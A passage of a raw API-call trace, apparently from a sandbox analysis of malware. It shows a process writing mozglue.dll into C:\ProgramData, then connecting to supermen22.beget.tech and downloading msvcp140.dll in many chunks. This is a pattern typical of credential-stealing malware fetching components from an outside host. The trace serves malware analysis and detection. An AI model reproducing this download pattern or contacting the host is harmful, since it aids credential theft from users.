hFile=0xcc000c, lpBuffer=0x25f0000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0000*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.134] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f03e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f03e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f07d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f07d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0bb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0fa0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.135] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1388*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.136] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1770*, lpdwNumberOfBytesRead=0x19f634*=0xa8) returned 1 [0045.136] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1818*, lpdwNumberOfBytesRead=0x19f634*=0x0) returned 1 [0045.137] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0 | out: lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0) returned 0 [0045.137] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0045.137] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0045.138] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0045.138] CreateFileA (lpFileName="C:\\ProgramData\\\\mozglue.dll" (normalized: "c:\\programdata\\mozglue.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0045.138] WriteFile (in: hFile=0x270, lpBuffer=0x25d0048*, nNumberOfBytesToWrite=0x217d0, lpNumberOfBytesWritten=0x19f824, lpOverlapped=0x0 | out: lpBuffer=0x25d0048*, lpNumberOfBytesWritten=0x19f824*=0x217d0, lpOverlapped=0x0) returned 1 [0045.142] CloseHandle (hObject=0x270) returned 1 [0045.146] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x57cca0 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.147] GetLastError () returned 0x0 [0045.147] SetLastError (dwErrCode=0x0) [0045.147] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0045.147] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f7b8, dwBufferLength=0x4) returned 1 [0045.147] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0045.147] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/msvcp140.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0045.148] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0045.148] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0045.148] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0045.148] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0045.148] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0045.228] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0048*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0430*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0818*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0c00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0fe8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d13d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d13d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d17b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d17b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d1ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d1ba0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d1f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d1f88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.230] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2370*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2758*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2b40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2f28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3310*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d36f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d36f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3ae0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3ec8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d42b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d42b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4698*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4a80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4e68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.232] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5250*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5638*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5a20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5e08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d61f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d61f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d65d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d65d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.233] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d69c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d69c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d6da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d6da8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7190*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7578*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7960*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7d48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.234] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8130*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8518*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8900*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8ce8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d90d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d90d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d94b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d94b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d98a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d98a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d9c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d9c88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da070*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da458*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.236] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25da840, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25da840*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dac28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dac28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db010, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db010*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db3f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25db7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25db7e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbbc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dbfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dbfb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.238] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc398*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dc780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dc780*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcb68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcb68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dcf50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dcf50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd338*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dd720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dd720*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddb08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddb08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ddef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ddef0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de2d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25de6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25de6c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.240] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25deaa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25deaa8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dee90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dee90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25df278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25df278*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25df660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25df660*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.241] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dfa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dfa48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.242] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25dfe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25dfe30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0218*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0600*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e09e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e09e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e0dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e0dd0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.259] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e11b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e11b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e15a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e15a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.260] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e1988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e1988*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.264] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e1d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e1d70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2158*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2540*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2928*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e2d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e2d10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e30f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e30f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e34e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e34e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e38c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e38c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e3cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e3cb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4098*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4480*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4868, 